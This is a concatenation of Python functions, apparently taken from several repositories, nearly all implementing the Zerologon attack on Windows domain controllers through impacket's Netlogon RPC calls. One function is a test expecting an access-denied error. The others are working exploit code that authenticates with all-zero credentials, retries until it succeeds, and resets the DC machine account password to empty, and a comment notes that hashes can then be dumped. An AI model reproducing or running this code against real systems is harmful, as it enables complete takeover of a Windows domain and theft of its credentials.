def test_NetrServerPasswordSet2(self): # It doesn't do much, should throw STATUS_ACCESS_DENIED dce, rpctransport = self.connect() request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = self.machineUser + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.serverName + '\x00' request['Authenticator'] = self.update_authenticator() cnp = nrpc.NL_TRUST_PASSWORD() cnp['Buffer'] = b'\x00'*512 cnp['Length'] = 0x8 request['ClearNewPassword'] = cnp.getData() #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD() #request['ClearNewPassword']['Buffer'] = b'\x00' *512 #request['ClearNewPassword']['Length'] = 0x8 try: request.dump() resp = dce.request(request) resp.dump() except Exception as e: if str(e).find('STATUS_ACCESS_DENIED') < 0: raise
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object: request = nrpc.NetrServerPasswordSet2() ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = self.dc_handle + "\x00" request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request)
def exploit(dc_handle, rpc_con, target_computer): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = dc_handle + '\x00' request['AccountName'] = target_computer + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = target_computer + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request)
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #====This section will change machine password to null, can dump hashes without password ===== #use impacket nrpc.py function. This emulates MS NetrServerPasswordSet2() function newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 rpc_con.request(newPassRequest) #=======End section======== # It worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Creates bind to the DC over RPC. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() # Connects to RPC rpc_con.connect() # Creates bind to RPC rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero ciphertext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Sends Server Challenge Request nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #If login is successful, begin the attempt to change the password #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 #Triggers password reset rpc_con.request(newPassRequest) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def __setaccountemptystring(self, rpc_con): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = self.dc_handle + '\x00' request['AccountName'] = self.hostname + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = self.hostname + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request)
def try_zerologon(dc_handle, rpc_con, target_computer): """ Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted logon credential and a time stamp. typedef struct _NETLOGON_AUTHENTICATOR { NETLOGON_CREDENTIAL Credential; DWORD Timestamp; } Timestamp: An integer value that contains the time of day at which the client constructed this authentication credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970. The authenticator is constructed just before making a call to a method that requires its usage. typedef struct _NETLOGON_CREDENTIAL { CHAR data[8]; } ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7, that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5). typedef struct _NL_TRUST_PASSWORD { WCHAR Buffer[256]; ULONG Length; } ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the server return authenticator. More info can be found on the [MS-NRPC]-170915.pdf """ request = nrpc.NetrServerPasswordSet2() request["PrimaryName"] = dc_handle + "\x00" request["AccountName"] = target_computer + "$\x00" request[ "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = b"\x00" * 8 authenticator["Timestamp"] = 0 request["Authenticator"] = authenticator request["ComputerName"] = target_computer + "\x00" request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request)
def perform_attack(dc_handle, dc_ip, target_computer): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') print('Trying to set empty password for DC computer password.') # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81 # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951 nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR() nrpc_Authenticator["Credential"] = b'\x00' * 8 # same as ciphertext nrpc_Authenticator["Timestamp"] = 0 nrpc_Password = nrpc.NL_TRUST_PASSWORD() nrpc_Password['Buffer'] = b'\x00' * 516 nrpc_Password['Length'] = '\x00' * 4 request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = target_computer + '\x00' request['AccountName'] = target_computer + '$\x00' request['ComputerName'] = target_computer + '\x00' request['Authenticator'] = nrpc_Authenticator request['ClearNewPassword'] = nrpc_Password request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel req = rpc_con.request(request) print("Success") else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive #print("session key", sessionKey) try: IV = b'\x00' * 16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var) #print("client stored cred", clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred); #print("authenticator cred", authenticatorCred) authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var #request = nrpc.NetrLogonGetCapabilities() #request['ServerName'] = '\x00'*20 #request['ComputerName'] = target_computer + '\x00' #request['Authenticator'] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 #request['QueryLevel'] = 1 #resp = rpc_con.request(request) #resp.dump() request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD() request["ClearNewPassword"]["Buffer"] = b'\x00' * 512 request["ClearNewPassword"][ "Length"] = 0 # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes resp = rpc_con.request(request) resp.dump() #request['PrimaryName'] = NULL #request['ComputerName'] = target_computer + '\x00' #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') #resp = rpc_con.request(request) #resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: #print(ex) # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # 连接到DC的Netlogon服务。 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # 使用全零challenge和证书。 plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。 flags = 0x212fffff # 发送challenge和证书请求包。 serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) try: IV = b'\x00' * 16 authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # 时间戳 request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator request["ClearNewPassword"] = b"\x00" * 516 resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。 if ex.get_error_code() == 0xc0000022: return None else: fail(f'来自DC的意外错误代码: {ex.get_error_code()}.') except BaseException as ex: fail(f'意外错误: {ex}.')